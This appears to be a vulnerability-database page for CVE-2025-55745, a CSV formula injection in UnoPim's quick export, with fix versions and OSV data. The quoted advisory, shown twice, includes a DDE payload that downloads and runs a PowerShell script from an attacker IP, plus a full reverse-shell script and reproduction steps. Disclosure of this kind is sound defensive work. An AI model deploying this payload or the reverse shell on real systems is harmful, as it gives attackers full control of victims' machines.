CVE-2025-55745: Unopim/unopim UnoPim Has CSV Injection On Vulnerability

LOW
Advisory Identifier: GHSA-74rg-6f92-g6wx
CWE-1236
Published
Advisory Summary

CVE-2025-55745 is a LOW unopim has csv injection on vulnerability (CWE-1236: Improper Neutralization of Formula Elements in a CSV File) affecting Unopim/unopim libraries in the Packagist ecosystem. The issue involves unopim has csv injection on quick export feature. Remediation is available by upgrading affected packages to version 0.3.1.

CVE-2025-55745 at a Glance

CVE Identifier CVE-2025-55745
GHSA Identifier GHSA-74rg-6f92-g6wx
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification CWE-1236: Improper Neutralization of Formula Elements in a CSV File
Affected Product Unopim/unopim
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2025-55745

To remediate this vulnerability, upgrade all affected Unopim/unopim dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

unopim/unopim fixed: 0.3.1
Upgrade unopim/unopim to 0.3.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for unopim/unopim

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-55745, inspect your project dependencies for Unopim/unopim:

inspect dependencies for unopim/unopim

Analyze the terminal output to locate any version of Unopim/unopim in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.3.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1236: Improper Neutralization of Formula Elements in a CSV File, where the product saves user-provided information into a comma-separated value (csv) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product. In Unopim/unopim, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Description: `CSV Injection` or `Formula Injection` is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text. ### Details A basic test for CSV Injection is using `SUM()` to add two numbers or open calc.exe​ using​ command: `=cmd|' /C calc'!A0​` The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. *Payload*: > This is our payload and will be used in the vulnerable field during exploitation ``` =cmd|' /C powershell Invoke-WebRequest "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1"; powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​ ``` *shell.ps1*: ``` $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​ ``` ### PoC: 1. Go to any product and click on Edit 2. Add the above discussed payload in any field that accept text for e.g. Product Number field. 3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening. > This could be injected by admin or any user that has privilege to edit products. > Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads. Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to `File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch"`. This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security. Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3 ### Impact When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device. ### Recommendation: - Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D). - Sanitize the vulnerable field using regex or standard libraries. - Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

CVE-2025-55745 Affected Unopim/unopim Versions

1 component(s)
Fixed Versions:
0.3.1
Product / Package Ecosystem Affected Versions Fixed Version
unopim/unopim
Packagist
< 0.3.1
0.3.1

References

Frequently Asked Questions

What is CVE-2025-55745?
CVE-2025-55745 is a security vulnerability in Unopim/unopim involving UnoPim has CSV Injection on Quick Export feature under CWE-1236: Improper Neutralization of Formula Elements in a CSV File.
Which Unopim/unopim versions are affected?
Affected versions include releases prior to 0.3.1 across affected packages: unopim/unopim.
What version fixes CVE-2025-55745?
Upgrading to 0.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is unopim/unopim affected?
Yes, unopim/unopim is affected in releases prior to 0.3.1. Upgrade your dependency to 0.3.1 or later.
What CWE is associated with CVE-2025-55745?
CVE-2025-55745 is classified under CWE-1236: Improper Neutralization of Formula Elements in a CSV File (The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product.).
How can I check Packagist dependencies for CVE-2025-55745?
Run the dependency tree command: 'inspect dependencies for unopim/unopim'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-74rg-6f92-g6wx",
  "modified" : "2025-08-22T21:09:43Z",
  "published" : "2025-08-22T16:50:05Z",
  "aliases" : [ "CVE-2025-55745" ],
  "summary" : "UnoPim has CSV Injection on Quick Export feature",
  "details" : "### Summary\nDescription:\n`CSV Injection` or `Formula Injection` is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.\n\n### Details\nA basic test for CSV Injection is using `SUM()` to add two numbers or open calc.exe​ using​\ncommand:\n `=cmd|' /C calc'!A0​`\n\n\nThe same method can be used to run arbitrary code on the victim's machine.\nFor example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine.\n*Payload*:\n> This is our payload and will be used in the vulnerable field during exploitation\n```\n    =cmd|' /C powershell Invoke-WebRequest\n    \"http://52.172.182.242:7000/shell.ps1\" -OutFile \"$env:Temp\\shell.ps1\";\n    powershell -ExecutionPolicy Bypass -File \"$env:Temp\\shell.ps1\"'!A1​\n```\n\n*shell.ps1*:\n```\n    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex \". { $data } 2>&1\" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​\n```\n\n### PoC:\n\n  1. Go to any product and click on Edit\n  2. Add the above discussed payload in any field that accept text for e.g. Product Number field.\n  3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.\n\n> This could be injected by admin or any user that has privilege to edit products.\n> Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.\n\n\nPlease note that if this is replicated on version starting from Office 2021:\nFollow these steps:\nGo to `File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch\"`.\nThis is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.\n\nPlatform Details:\nReplicated this on Office 2021 on Windows 11.\nPOC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3\n\n### Impact\nWhen the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.\n\n### Recommendation:\n- Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).\n- Sanitize the vulnerable field using regex or standard libraries.\n- Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "unopim/unopim"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.3.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/unopim/unopim/security/advisories/GHSA-74rg-6f92-g6wx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-55745"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/unopim/unopim/commit/8325b78567411ad78d44c0385f192360e608ff71"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/unopim/unopim/commit/b25db9496fc147842a519d1dd42ec03c3bf00a34"
  }, {
    "type" : "WEB",
    "url" : "https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/unopim/unopim"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1236" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-22T16:50:05Z",
    "nvd_published_at" : "2025-08-22T17:15:35Z"
  }
}